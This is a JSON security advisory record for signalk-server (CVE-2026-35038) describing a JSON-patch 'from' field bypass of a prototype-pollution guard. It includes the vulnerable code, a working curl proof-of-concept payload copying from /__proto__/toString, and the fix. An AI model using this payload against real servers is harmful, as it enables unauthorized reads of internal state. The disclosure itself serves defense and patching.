{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-20",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T04:04:22Z",
    "nvd_published_at": "2026-04-02T17:16:27Z",
    "severity": "LOW"
  },
  "details": "## Summary \n\nThe /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.\n\nWhile this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.\n\n## Vulnerability Root Cause \n\nFile: src/interfaces/applicationData.js (Lines 48-57)\n```\nconst DANGEROUS_PATH_SEGMENTS = [\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]\n\nfunction isPrototypePollutionPath(pathString) {\n  const segments = pathString.split(/[./]/)\n  return segments.some((seg) =\u003e DANGEROUS_PATH_SEGMENTS.includes(seg))\n}\n\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from\n    (patch) =\u003e patch.path \u0026\u0026 isPrototypePollutionPath(patch.path) \n  )\n}\n```\nAt Line 201:\n```\nif (hasPrototypePollutionPatch(req.body)) {\n  res.status(400).send(\u0027invalid patch path\u0027)\n  return\n}\njsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves \u0027from\u0027\n\n```\n## Proof of Concept (PoC)\n\nVerify the Developer Guard Works (The Blocked Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027[{\"op\": \"add\", \"path\": \"/__proto__/polluted\", \"value\": \"hacked\"}]\u0027\n```\nResult: 400 Bad Request - invalid patch path\n\nExecute the Bypass (The Malicious Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027[{\"op\": \"copy\", \"from\": \"/__proto__/toString\", \"path\": \"/stolen\"}]\u0027\n```\nResult: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.\n\n\u003cimg width=\"1222\" height=\"230\" alt=\"Screenshot 2026-03-24 150440\" src=\"https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6\" /\u003e\n\n## Security Impact\nThis vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.\n\n## Fixing Arbitrary Prototype Read\n\nThe hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:\n```\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    (patch) =\u003e \n      (patch.path \u0026\u0026 isPrototypePollutionPath(patch.path)) ||\n      (patch.from \u0026\u0026 isPrototypePollutionPath(patch.from))\n  )\n}\n```",
  "id": "GHSA-qh3j-mrg8-f234",
  "modified": "2026-04-03T04:04:22Z",
  "published": "2026-04-03T04:04:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-qh3j-mrg8-f234"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35038"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Signal K Server: Arbitrary Prototype Read via `from` Field Bypass"
}